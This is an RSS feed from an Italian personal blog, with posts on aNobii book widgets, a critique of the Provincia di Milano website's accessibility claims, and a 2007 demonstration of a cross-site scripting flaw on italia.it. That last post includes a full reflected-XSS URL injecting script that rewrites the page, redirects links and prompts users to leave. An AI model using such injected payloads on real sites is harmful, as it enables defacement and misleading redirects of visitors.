<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Blog ad Improbabilità Infinita &#187; Javascript</title>
	<atom:link href="http://www.jhack.it/blog/category/javascript/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.jhack.it/blog</link>
	<description>L&#039;unico blog che può trasformarvi in una balena o in un vaso di petunie</description>
	<lastBuildDate>Sat, 04 Feb 2012 15:29:33 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>aNobii Widget 2 - La Vendetta</title>
		<link>http://www.jhack.it/blog/2007/10/30/anobii-widget-2-la-vendetta/</link>
		<comments>http://www.jhack.it/blog/2007/10/30/anobii-widget-2-la-vendetta/#comments</comments>
		<pubDate>Mon, 29 Oct 2007 23:12:03 +0000</pubDate>
		<dc:creator>Jhack</dc:creator>
				<category><![CDATA[AJAX]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Portfolio]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Web 2.0]]></category>
		<category><![CDATA[aNobii]]></category>
		<category><![CDATA[widget]]></category>

		<guid isPermaLink="false">http://www.jhack.it/blog/2007/10/30/anobii-widget-2-la-vendetta/</guid>
		<description><![CDATA[Mi sono di recente registrato presso il sito Netvibes, che in pratica è un comodissimo servizio che consente di crearsi un proprio portale nel quale raccogliere tutte le informazioni che si vogliono, avendo tutto a portata di mano in qualsiasi luogo e con qualsiasi computer raggiunto da Internet. Se pensate che possa non interessarvi perché <a href="http://www.jhack.it/blog/2007/10/30/anobii-widget-2-la-vendetta/#more-273" class="more-link">Continue reading &#8594;</a>
Related posts:<ol>
<li><a href='http://www.jhack.it/blog/2007/10/07/anobii-wordpress-widget/' rel='bookmark' title='aNobii WordPress Widget'>aNobii WordPress Widget</a> <small>Mentre effettuavo il passaggio dal blog vecchio a questo mi...</small></li>
<li><a href='http://www.jhack.it/blog/2007/10/26/inviti-per-lloogg/' rel='bookmark' title='Inviti per LLOOGG'>Inviti per LLOOGG</a> <small>Cos'è LLOOGG? È un servizio molto semplice che viene descritto...</small></li>
<li><a href='http://www.jhack.it/blog/2007/02/25/italiait-applicazione-pratica-di-xss/' rel='bookmark' title='italia.it: Applicazione Pratica di XSS'>italia.it: Applicazione Pratica di XSS</a> <small>Innanzitutto, cos'è XSS? L'acronimo sta per "Cross-Site Scripting" (la X...</small></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Mi sono di recente registrato presso il sito <strong><a href="http://www.netvibes.com/">Netvibes</a></strong>, che in pratica è un comodissimo servizio che consente di crearsi un proprio <strong>portale</strong> nel quale raccogliere tutte le informazioni che si vogliono, avendo tutto a portata di mano in qualsiasi luogo e con qualsiasi computer raggiunto da Internet. Se pensate che possa non interessarvi perché non utilizzate quel sito, continuate comunque a leggere, fidatevi.</p>
<p>Oltre a servizi "semplici" come lettori di <strong>feed RSS</strong>, che consentono naturalmente di raggruppare in un solo posto notizie di qualsiasi sito di informazione serio, potete configurare <strong>widget</strong> per svolgere le funzioni più disparate, quali ad esempio mostrare gli ultimi messaggi di posta su (quasi) tutte le tipologie di account di posta possibili,  le condizioni del tempo, il vostro calendario di Google e così via.  In questo momento le widget esistenti sono 91733 <img src='http://www.jhack.it/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p><a href="http://picasaweb.google.co.uk/gboccard/Varie/photo#5126896751431014498"></a></p>
<p style="text-align: center"><a href="http://picasaweb.google.co.uk/gboccard/Varie/photo#5126896751431014498"><img src="http://lh3.google.co.uk/gboccard/RyZlbpUmWGI/AAAAAAAAAFA/TNs_3fHFupw/s144/aNobii-UWA-Compact.png" /></a></p>
<p>Ma ne mancava una che mi serviva assolutamente e l'ho realizzata qualche giorno fa!</p>
<p style="text-align: center">&nbsp;</p>
<p style="text-align: center"><span id="more-273"></span></p>
<p>Avrete intuito che si tratta di una widget che interagisce col sito <strong><a href="http://www.anobii.com">aNobii</a></strong> e che serve a mostrare i libri che possedete in numero variabile (a scelta, da 1 a 10) e presi tra diverse possibili categorie (tutti, quelli che state leggendo, quelli finiti e l'unione di questi ultimi due gruppi).</p>
<p>Le due possibili visualizzazioni che ho previsto consistono in una compatta (che avete già visto nella prima immagine) e un'altra più dettagliata che potete vedere in quest'altra immagine:</p>
<p><a href="http://picasaweb.google.co.uk/gboccard/Varie/photo#5126896755725981810"></a></p>
<p style="text-align: center"><a href="http://picasaweb.google.co.uk/gboccard/Varie/photo#5126896755725981810"><img src="http://lh4.google.co.uk/gboccard/RyZlb5UmWHI/AAAAAAAAAFI/LmH6PC2H4ro/s144/aNobii-UWA-Details.png" /></a></p>
<p>Ma la cosa più bella è che la tecnologia utilizzata per svilupparla ne rende possibile l'integrazione anche nei seguenti servizi web/applicativi:</p>
<ul>
<li><strong>iGoogle</strong></li>
<li><strong>Dashboard di Mac OS X</strong></li>
<li><strong>Opera</strong></li>
<li><strong>iPhone</strong></li>
<li><strong>iPod touch<br />
</strong></li>
<li><strong>Windows Live </strong>(beta)</li>
<li><strong>Windows Vista </strong>(beta)</li>
<li><strong>Yahoo! Widgets </strong>(a breve)</li>
</ul>
<p>Fatemi sapere se la utilizzate, cosa ne pensate, se c'è qualcosa che non va o volete qualcosa in più <img src='http://www.jhack.it/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p>Related posts:<ol>
<li><a href='http://www.jhack.it/blog/2007/10/07/anobii-wordpress-widget/' rel='bookmark' title='aNobii WordPress Widget'>aNobii WordPress Widget</a> <small>Mentre effettuavo il passaggio dal blog vecchio a questo mi...</small></li>
<li><a href='http://www.jhack.it/blog/2007/10/26/inviti-per-lloogg/' rel='bookmark' title='Inviti per LLOOGG'>Inviti per LLOOGG</a> <small>Cos'è LLOOGG? È un servizio molto semplice che viene descritto...</small></li>
<li><a href='http://www.jhack.it/blog/2007/02/25/italiait-applicazione-pratica-di-xss/' rel='bookmark' title='italia.it: Applicazione Pratica di XSS'>italia.it: Applicazione Pratica di XSS</a> <small>Innanzitutto, cos'è XSS? L'acronimo sta per "Cross-Site Scripting" (la X...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.jhack.it/blog/2007/10/30/anobii-widget-2-la-vendetta/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>aNobii WordPress Widget</title>
		<link>http://www.jhack.it/blog/2007/10/07/anobii-wordpress-widget/</link>
		<comments>http://www.jhack.it/blog/2007/10/07/anobii-wordpress-widget/#comments</comments>
		<pubDate>Sun, 07 Oct 2007 17:32:39 +0000</pubDate>
		<dc:creator>Jhack</dc:creator>
				<category><![CDATA[AJAX]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Portfolio]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Web 2.0]]></category>
		<category><![CDATA[widget]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.jhack.it/blog/2007/10/07/anobii-wordpress-widget/</guid>
		<description><![CDATA[Mentre effettuavo il passaggio dal blog vecchio a questo mi è venuta la voglia di scrivere un plugin per la piattaforma WordPress (per chi non l'ha notato questo blog si appoggia ad essa). Dopo aver dedotto dalla documentazione e da alcuni plugin esistenti le "best practice" da seguire per scriverne uno, ma soprattutto dopo una <a href="http://www.jhack.it/blog/2007/10/07/anobii-wordpress-widget/#more-266" class="more-link">Continue reading &#8594;</a>
Related posts:<ol>
<li><a href='http://www.jhack.it/blog/2007/02/25/italiait-applicazione-pratica-di-xss/' rel='bookmark' title='italia.it: Applicazione Pratica di XSS'>italia.it: Applicazione Pratica di XSS</a> <small>Innanzitutto, cos'è XSS? L'acronimo sta per "Cross-Site Scripting" (la X...</small></li>
<li><a href='http://www.jhack.it/blog/2006/12/15/google-patent-search/' rel='bookmark' title='Google Patent Search'>Google Patent Search</a> <small>Google sta spaziando ormai in qualsiasi direzione: ora ha sviluppato...</small></li>
<li><a href='http://www.jhack.it/blog/2007/01/05/un-fiore-tecnologico/' rel='bookmark' title='Un Fiore Tecnologico'>Un Fiore Tecnologico</a> <small>Quella che vedete nell'immagine (cliccate per ingrandire, ovviamente) è una...</small></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Mentre effettuavo il passaggio dal <a href="http://jhack.wordpress.com">blog vecchio</a> a questo mi è venuta la voglia di scrivere un plugin per la piattaforma <a href="http://www.wordpress.org"><strong>WordPress</strong></a> (per chi non l'ha notato questo blog si appoggia ad essa).</p>
<p>Dopo aver dedotto dalla documentazione e da alcuni plugin esistenti le "best practice" da seguire per scriverne uno, ma soprattutto dopo una discreta <strong>litigata con Javascript</strong> per interfacciarmi al sito <strong><a href="http://www.anobii.com">aNobii</a></strong>, che, a quanto ne so, non fornisce API per uno scambio semplice di informazioni, <strong>è nato</strong>:</p>
<p><a href="http://picasaweb.google.co.uk/gboccard/Varie/photo#5118644676527156626"></a></p>
<p style="text-align: center"><a href="http://picasaweb.google.co.uk/gboccard/Varie/photo#5118644676527156626"><img src="http://lh4.google.co.uk/gboccard/RwkUNqvYbZI/AAAAAAAAADY/_dKIVsIKV0o/s144/screenshot-1.png" alt="aNobii WordPress Widget" /></a></p>
<p style="text-align: center"><span id="more-266"></span></p>
<p><strong>Cos'è aNobii?</strong></p>
<p>È un servizio web che permette di crearsi una libreria virtuale (non nel senso di negozio) con i propri libri, creare gruppi o semplicemente parteciparvi, e conoscere gente simpatica e divertente <img src='http://www.jhack.it/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p><strong>A cosa serve?</strong></p>
<p>Semplicemente consente di mostrare sul proprio sito basato sulla piattaforma WordPress una <strong>widget</strong> che mostra un numero variabile (da 1 a 10, a scelta dell'utente) di libri scelti a caso dal proprio <strong>scaffale</strong> su aNobii.</p>
<p><strong>Cosa devo fare per utilizzarlo?</strong></p>
<p>Non mi dilungo qui sul blog a spiegarvelo, poiché trovate tutto presso <a href="http://www.jhack.it/wp-anobii">questa pagina</a>. (l'ho scritto in inglese, ma mi auguro che uno che utilizzi WordPress conosca l'inglese <img src='http://www.jhack.it/blog/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> ).</p>
<p>Related posts:<ol>
<li><a href='http://www.jhack.it/blog/2007/02/25/italiait-applicazione-pratica-di-xss/' rel='bookmark' title='italia.it: Applicazione Pratica di XSS'>italia.it: Applicazione Pratica di XSS</a> <small>Innanzitutto, cos'è XSS? L'acronimo sta per "Cross-Site Scripting" (la X...</small></li>
<li><a href='http://www.jhack.it/blog/2006/12/15/google-patent-search/' rel='bookmark' title='Google Patent Search'>Google Patent Search</a> <small>Google sta spaziando ormai in qualsiasi direzione: ora ha sviluppato...</small></li>
<li><a href='http://www.jhack.it/blog/2007/01/05/un-fiore-tecnologico/' rel='bookmark' title='Un Fiore Tecnologico'>Un Fiore Tecnologico</a> <small>Quella che vedete nell'immagine (cliccate per ingrandire, ovviamente) è una...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.jhack.it/blog/2007/10/07/anobii-wordpress-widget/feed/</wfw:commentRss>
		<slash:comments>21</slash:comments>
		</item>
		<item>
		<title>Provincia di Milano: una Questione di Faccia(ta)?</title>
		<link>http://www.jhack.it/blog/2007/04/05/provincia-di-milano-una-questione-di-facciata/</link>
		<comments>http://www.jhack.it/blog/2007/04/05/provincia-di-milano-una-questione-di-facciata/#comments</comments>
		<pubDate>Thu, 05 Apr 2007 00:08:17 +0000</pubDate>
		<dc:creator>Jhack</dc:creator>
				<category><![CDATA[Accessibilità]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Jhack Educational]]></category>
		<category><![CDATA[Recensioni]]></category>
		<category><![CDATA[Riflessioni]]></category>
		<category><![CDATA[Sfoghi]]></category>
		<category><![CDATA[Sociologia]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://www.jhack.it/blog/2007/04/05/provincia-di-milano-una-questione-di-facciata/</guid>
		<description><![CDATA[Mi è capitato di leggere questa notizia su Punto Informatico. Detto in breve: "Il sito istituzionale della Provincia di Milano è stato riconosciuto dal CNIPA (Centro Nazionale per l'Informatica nella Pubblica Amministrazione) come sito accessibile ed ha, quindi, autorizzato la pubblicazione del logo che ne attesta l'accessibilità." Il logo di cui si parla, personalmente di <a href="http://www.jhack.it/blog/2007/04/05/provincia-di-milano-una-questione-di-facciata/#more-217" class="more-link">Continue reading &#8594;</a>
Nessun post attinente.]]></description>
			<content:encoded><![CDATA[<p>Mi è capitato di leggere <a href="http://punto-informatico.it/p.aspx?id=1946372&amp;r=PI">questa notizia</a> su <a href="http://punto-informatico.it/">Punto Informatico</a>. Detto in breve: "<em>Il <a href="http://www.provincia.milano.it/">sito istituzionale della <strong>Provincia di Milano</strong></a> è stato riconosciuto dal <strong>CNIPA</strong> (Centro Nazionale per l'Informatica nella Pubblica Amministrazione) come sito accessibile ed ha, quindi, autorizzato la <strong>pubblicazione del logo</strong> che ne attesta l'accessibilità</em>."</p>
<p>Il <strong>logo</strong> di cui si parla, personalmente di stile obsoleto, in quanto ricorda elaboratori degli anni '80, ma svecchiato da <strong>gioiosi omini</strong> con le braccia sulle 10:10, è questo:</p>
<p align="center"><img src="http://jhack.files.wordpress.com/2007/04/cnipa.jpg" style="font-size:24px;line-height:31.2px;" alt="cnipa.jpg" height="105" width="132" /></p>
<p align="left">Per non parlare del fatto che mi ricorda abbastanza quello di <a href="http://www.ubuntu.com/">Ubuntu</a> <img src='http://www.jhack.it/blog/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p align="left">Senza entrare in dettagli complicati e di poco interesse per i non addetti ai lavori, certifica il fatto che il sito rispetti numerosi parametri che lo rendano conforme agli standard ed, in particolare, accessibile a persone diversamente abili (non vedenti, ipovedenti, daltonici, non udenti, disabili motori, ecc.).</p>
<p style="text-align:center;"><span id="more-217"></span></p>
<p>Gran parte di questi parametri non può essere verificata in maniera automatica per svariati motivi, però alcune caratteristiche basilari sono, per loro stessa natura, validabili da strumenti automatizzati: in particolare la <strong>struttura</strong> <strong>sintattica</strong> della pagina e, in un secondo momento, i fogli di stile (<a href="http://it.wikipedia.org/wiki/Foglio_di_stile">CSS</a>), che permettono di gestire la parte di <strong>presentazione</strong> delle informazioni contenute nella pagina stessa.</p>
<p>Per fare un paragone, è possibile controllare in modo automatico se un testo contiene solo vocaboli italiani, mentre è impossibile controllare con certezza, senza l'ausilio umano, se un testo ha una semantica coerente.</p>
<p>Visto che le caratteristiche verificabili in modo automatico sono <strong>oggettive</strong>, partirò da quelle (quando farò riferimenti a "requisiti" intendo quelli elencati in <a href="http://www.provincia.milano.it/utilita/Accessibilita/22_Punti_ceck-list.html">questa pagina</a>):</p>
<ul>
<li>ho iniziato cliccando sul link in fondo all'articolo di Punto Informatico, quindi sono finito in <a href="http://www.provincia.milano.it/utilita/Accessibilita/index.html">questa pagina</a>:
<ul>
<li>mi colpisce l'immagine nella sezione sinistra, quella con una specie di <em>Wonder Woman</em> <img src='http://www.jhack.it/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> ;</li>
<li>come faccio sempre con qualsiasi cosa possa essere un link, prima di cliccare, tengo il cursore sopra per vedere nella barra di stato il link e per osservare l'eventuale <strong>tooltip</strong> associato;</li>
<li>leggo il tooltip "portale urp (Questo link si apre in una nuova finestra)" e scoppio a ridere! Chi conosce anche solo l'XHTML 1.0 Strict, senza saper nulla di accessibilità, avrà già capito dove voglio andare a parare: per far aprire un link in una nuova pagina è necessario utilizzare l'attributo <strong>"target</strong>", violando le specifiche di XHTML 1.0 Strict, ovvero la specifica seguita per la costruzione del sito stesso. E ciò porta a violare il "Requisito 1": "<em>Per tutti i siti di nuova realizzazione, utilizzare almeno la versione 4.01 dell' HTML o la versione 1.0 dell' XHTML, entrambe con DTD (Document Type Definition - Definizione del Tipo di Documento) di tipo Strict.</em>". Inoltre contraddice l'affermazione "<em>Tutte le pagine sono state validate con il Validatore del W3C (<a href="http://validator.w3.org/" target="_blank">Validator W3C</a>).</em>";</li>
<li>per curiosità <a href="http://validator.w3.org/check?verbose=1&amp;uri=http%3A%2F%2Fwww.provincia.milano.it%2Futilita%2FAccessibilita%2Findex.html">valido effettivamente la pagina</a> e, magia, passa la validazione! Subito mi salta alla mente Javascript, ed infatti <a href="http://www.provincia.milano.it/system/modules/it.milano.provincia.testalino/resources/testalino.js">tramite Javascript</a> viene aggiunto in un secondo momento l'attributo "target" a quei link per i quali l'attributo "rel" è impostato ad "external". In fase di validazione, naturalmente, non viene applicato Javascript, quindi l'<strong>imbroglio</strong> va a buon fine;</li>
<li>incidentalmente, guardando il resto del codice JS, vedo che anche la ricerca tramite il form di Google causa l'apertura di un'altra finestra;</li>
<li>mi potreste dire: "Il requisito è rispettato, la pagina è valida (staticamente) e l'effetto introdotto da quella porzione di codice Javascript è, in definitiva, utile". Per capire la <strong>gravità</strong>, pensate che mi sarebbe sufficiente creare una pagina che contenga unicamente il codice XHTML minimo necessario ad introdurre uno script Javascript per creare dinamicamente una pagina assolutamente valida staticamente e che contravvenga a qualsiasi regola.</li>
</ul>
</li>
</ul>
<ul>
<li>mi sposto nella pagina "<a href="http://www.provincia.milano.it/utilita/Accessibilita/Tasti_accesso.html">Tasti d'accesso</a>" e la <a href="http://validator.w3.org/check?verbose=1&amp;uri=http%3A%2F%2Fwww.provincia.milano.it%2Futilita%2FAccessibilita%2FTasti_accesso.html">valido</a>. Un <strong>errore</strong> (il validatore segnala solo la prima occorrenza, ma si ripete per svariati link) proprio sull'attributo "target", che in questa pagina non viene aggiunto dinamicamente ma scritto direttamente nel codice XHTML. Qui non ci sono scuse che possano reggere <img src='http://www.jhack.it/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> ;</li>
<li>vado alla pagina "<a href="http://validator.w3.org/check?verbose=1&amp;uri=http%3A%2F%2Fwww.provincia.milano.it%2Futilita%2FAccessibilita%2F22_Punti_ceck-list.html">22 Punti check-list</a>". Stessa situazione del punto precedente, ma in un link differente;</li>
<li>vado alla pagina dei "<a href="http://www.provincia.milano.it/utilita/credits.html">Credits</a>" (che magari non dovrebbe chiamarsi così nella versione italiana del sito!) e la <a href="http://validator.w3.org/check?verbose=1&amp;uri=http%3A%2F%2Fwww.provincia.milano.it%2Futilita%2Fcredits.html">valido</a>. Altre <strong>soddisfazioni</strong>: oltre al solito attributo "target", questa pagina presenta in svariati elementi gli attributi "<strong>align</strong>" e "<strong>border</strong>", aboliti nella versione XHTML Strict in quanto non appartengono allo strato di dati, ma di presentazione. Questo è un errore evidente, basilare e non giustificabile;</li>
<li>ora basta con la validazione sintattica, sono già "contento" <img src='http://www.jhack.it/blog/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> !  Passo a validare il CSS: questo si può fare semplicemente solo sull'"<a href="http://jigsaw.w3.org/css-validator/validator?profile=css2&amp;warning=2&amp;uri=http%3A%2F%2Fwww.provincia.milano.it%2F">Homepage</a>", supponendo che in un sito istituzionale non facciano la porcata di modificarlo dinamicamente in base alla pagina in cui ci si trova. Nessun errore, ma ben <strong>243 warning</strong>. Chi ha un po' di dimestichezza con i CSS saprà che i warning solitamente sono ignorabili, ma a chi ha sentito parlare di accessibilità trilla un campanellino: possono essere indicatori di problemi.</li>
</ul>
<p>Non essendo, per ora, particolarmente esperto di accessibilità, e richiedendo una valutazione estremamente lunga, sfrutto uno <a href="http://webxact.watchfire.com/">strumento automatico</a> capace di valutare <strong>alcune </strong>caratteristiche sotanzialmente oggettive. Per semplicità l'ho provato solo sull'homepage ed effettivamente <strong>passa</strong> i test oggetivi: questo non vuol dire che sia accessibile, ma è un buon inizio <img src='http://www.jhack.it/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Per una verifica vera serve l'intervento dell'uomo e la consulenza di disabili, cose che, da quanto dichiarano, hanno fatto per ottenere il bollino.</p>
<p>Proseguo con un elenco di errori ed osservazioni (anche sull'accessiblità, dettate dal mio buon senso più che dalle conoscenze sul campo) sul sito stesso:</p>
<ul>
<li>nella pagina dell'"<a href="http://www.provincia.milano.it/utilita/Accessibilita/index.html">Accessibilità</a>": un po' di rispetto per l'inventore del web! Si chiama <strong>Tim Berners-Lee</strong> e non <em>Tim Barnes Lee</em>; da cambiare il <em>pusher</em> di citazioni? <img src='http://www.jhack.it/blog/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> ;</li>
<li>nella pagina dei "<a href="http://www.provincia.milano.it/utilita/Accessibilita/Tasti_accesso.html">Tasti d'accesso</a>": prima vengono spiegate delle combinazioni che funzionano solo sotto Windows, poi viene spiegato come funzionano sotto Windows e sotto Mac; oltre alla ridondanza di informazioni (spiegare due volte come funzionano sotto Windows, la prima implicitamente, pensando che il mondo sia costituito da Windows-iani) non vedo perché non sia contemplato il sistema operativo Linux.<br />
Inoltre, negli esempi, viene indicato di premere Invio dopo la sequenza, cosa assolutamente inutile.<br />
Per finire, non esiste il tasto <strong>Crlt</strong>, ma il tasto <strong>Ctrl</strong>.<br />
Non sarebbe molto più chiaro e conciso definire prima le scorciatoie e poi indicare come utilizzarle in ciascun sistema operativo?</li>
<li>la sezione che contiene i link per modificare la dimensione dei caratteri ed il contrasto tra testo e sfondo è presente <strong>solo</strong> nell'homepage e sparisce una volta che ci si muove in una qualsiasi altra pagina; immaginatevi di aver navigato un po' il sito, aver raggiunto dopo lunghe fatiche una pagina a lungo agognata ed avere la necessità di modificare qualche parametro: facile, grrr, dovete tornare all'homepage e poi ricercare la pagina precedente!!!</li>
<li>i <strong>tre link</strong> che permettono di modificare la dimensione del testo hanno come contenuto testuale "<strong>A</strong>", che verrà letto da uno <strong>screen-reader</strong> ovviamente "A" in tutti e tre i casi, quindi un ipovedente dovrebbe andare ad intuizione/tentativi per capire cosa fa ciascuno di essi;</li>
<li>la parola "<em>Ambiente</em>" per definire il "Contrasto" tra testo e colori è alquanto curiosa (mi ricorda più un suono che un qualcosa di visivo), così come sarebbe meglio sostituire "<em>default</em>" con parole più comuni ad un utente non informatico come "<em>standard</em>" o "<em>normale</em>";</li>
<li>quando sparisce la sezione descritta precedentemente, appare al suo posto un'altra sezione che indica il percorso di navigazione, fondamentalmente una sorta di "<em>Voi Siete Qui</em>". Bene, utile, ma curiosamente funziona con un buon campione di pagine testate, tranne che con quella dell'"<a href="http://www.provincia.milano.it/utilita/Accessibilita/index.html">Accessibilità</a>"! <img src='http://www.jhack.it/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </li>
<li>guardate in alto a destra: giustamente c'è un link che permette di visitare il sito in lingua inglese. È naturale pensare che, una volta cliccato, faccia sì che tutti i testi nella pagina vengano sostituiti con la corrispondente traduzione inglese. Naaa, sarebbe <strong>troppo scontato</strong>! Innanzitutto, se lo cliccate, la zona dei link in alto a destra <strong>sparisce magicamente</strong>, spaesando l'utente che si aspetterebbe di poter ritornare alla versione italiana. Cosa <strong>molto peggiore</strong>, si finisce in una pagina che non c'entra assolutamente nulla con l'homepage sulla quale ci si trovava e nella quale è tradotta solo una minima parte. Per completare il <strong>casino</strong> (per usare un tecnicismo), la navigazione delle pagine in inglese si sposta dal menu a sinistra (che rimane in italiano e porta a pagine in italiano) al menu a destra, che permette di raggiungere un numero estremamente scarno di pagine, cioè una sola. Credo che un non vedente, in particolare, troverebbe tutto ciò alquanto fastidioso;</li>
<li>l'<strong>homepage</strong> presenta una <strong>caterva</strong> di <strong>link</strong>; chi utilizza uno <strong>screen-reader</strong> se ne deve sorbire davvero troppi prima di poter raggiungere quello che cerca. Se levassero, tanto per dire, il link "Lo Stemma e il Gonfalone" e lo inserissero nella pagina "La Storia della Provincia" ed accomunassero altri link in categorie più generali sarebbe tutto meno pesante da leggere;</li>
<li>per finire, alcuni tasti di accesso rapido non funzionano con Firefox 2.0.0.3pre sotto Mac.</li>
</ul>
<p>Credo di aver detto tutto ciò che mi è saltato all'occhio per ora, a voi la parola se scoprite altre cose succose <img src='http://www.jhack.it/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
Se qualcuno si vuol dilettare gli propongo degli spunti da cui partire: accessibilità di form e di tabelle.</p>
<p>Nessun post attinente.</p>]]></content:encoded>
			<wfw:commentRss>http://www.jhack.it/blog/2007/04/05/provincia-di-milano-una-questione-di-facciata/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>italia.it: Applicazione Pratica di XSS</title>
		<link>http://www.jhack.it/blog/2007/02/25/italiait-applicazione-pratica-di-xss/</link>
		<comments>http://www.jhack.it/blog/2007/02/25/italiait-applicazione-pratica-di-xss/#comments</comments>
		<pubDate>Sun, 25 Feb 2007 20:29:34 +0000</pubDate>
		<dc:creator>Jhack</dc:creator>
				<category><![CDATA[Creazioni]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Informatica]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Cultura]]></category>
		<category><![CDATA[Hack]]></category>
		<category><![CDATA[Web 2.0]]></category>

		<guid isPermaLink="false">http://www.jhack.it/blog/?p=182</guid>
		<description><![CDATA[Innanzitutto, cos'è XSS? L'acronimo sta per "Cross-Site Scripting" (la X serve per evitare il conflitto con la sigla CSS, che indica tutt'altro). È spiegato molto bene, in inglese, qui. Per i più pigri, diciamo che si tratta di inserire codice maligno, solitamente Javascript, in pagine create da altri utenti. Ciò che si può fare è <a href="http://www.jhack.it/blog/2007/02/25/italiait-applicazione-pratica-di-xss/#more-182" class="more-link">Continue reading &#8594;</a>
Nessun post attinente.]]></description>
			<content:encoded><![CDATA[<p>Innanzitutto, cos'è <strong>XSS</strong>?</p>
<p align="center"><a title="jhack.png" href="http://jhack.files.wordpress.com/2007/02/jhack.png"><img src="http://jhack.files.wordpress.com/2007/02/jhack.png" alt="jhack.png" /></a></p>
<p>L'acronimo sta per "<strong>Cross-Site Scripting</strong>" (la X serve per evitare il conflitto con la sigla CSS, che indica tutt'altro).</p>
<p>È spiegato molto bene, in inglese, <a href="http://en.wikipedia.org/wiki/Cross_site_scripting">qui</a>. Per i più pigri, diciamo che si tratta di inserire codice maligno, solitamente Javascript, in pagine create da altri utenti.</p>
<p style="text-align:center;"><span id="more-182"></span></p>
<p>Ciò che si può fare è <strong>modificare qualsiasi informazione</strong>: nel mio caso le modifiche sono create appositamente in modo sufficientemente macroscopico per essere facilmente notate, ma un lavoro più "di fino" renderebbe i dati modificati assolutamente indistinguibili dagli altri.</p>
<p>Per spiegarvi come è possibile utilizzare in modo pratico questa falla di sicurezza vi propongo semplicemente dei link validi al sito. Se osservate gli URL vedrete che non è un mio sito modificato, ma proprio quello dell'Italia. <strong>Naturalmente quanto segue funziona solo al momento in cui è stato scritto questo e si spera che nell'immediato futuro la falla sia chiusa.</strong></p>
<ol>
<li><a href="http://www.italia.it/it/scout/text/5,it,SCH1/objectId,RGN8it,selectedEntry,home.html/result.html?scope=%22%3Cscript%3Edocument.getElementsByTagName(%22img%22)[3].src=%22http://www.cs.unibo.it/~gboccard/JhacK.png%22;document.getElementById(%22nav1liv%22).getElementsByTagName(%22td%22)[1].getElementsByTagName(%22a%22)[0].innerHTML=%22Visita%20l'ItaGlia%22;links=document.getElementsByTagName(%22a%22);for(i=0;i%3Clinks.length;i%2B%2B){links[i].href=%22http://jhack.wordpress.com%22};document.getElementById(%22corpoMain%22).innerHTML=%22%3Ch1%3ENuovo%20Fenomeno%20Mediatico!!!%3C/h1%3E%3Cp%3EIl%20Blog%20di%20%3Ca%20href='http://jhack.wordpress.com'%3EJhacK%3C/a%3E%20ormai%20rappresenta%20un%20must%20nel%20panorama%20italiano%20;)%3C/p%3E%22;var%20answer=confirm(%22Sono%20un%20brutto%20sito.\nVuoi%20andare%20in%20uno%20migliore?%22);if%20(answer)window.location=%22http://jhack.wordpress.com%22;%3C/script%3E" target="_blank"><strong>Primo link</strong></a>, provate a rispondere alla domanda proposta in entrambi i modi e, nel caso rimaniate sul sito, cercate di scovare le <strong>4</strong> modifiche presenti <img src='http://www.jhack.it/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ; nel caso in cui non funzioni più il link si osservi la seguente immagine:<a title="modificheprimolink.jpg" href="http://jhack.files.wordpress.com/2007/02/modificheprimolink.jpg" target="_blank"><br />
</a></p>
<p style="text-align:center;"><a title="modificheprimolink.jpg" href="http://jhack.files.wordpress.com/2007/02/modificheprimolink.jpg" target="_blank"><img style="width: 80%;" src="http://jhack.files.wordpress.com/2007/02/modificheprimolink.jpg" alt="modificheprimolink.jpg" /></a></p>
</li>
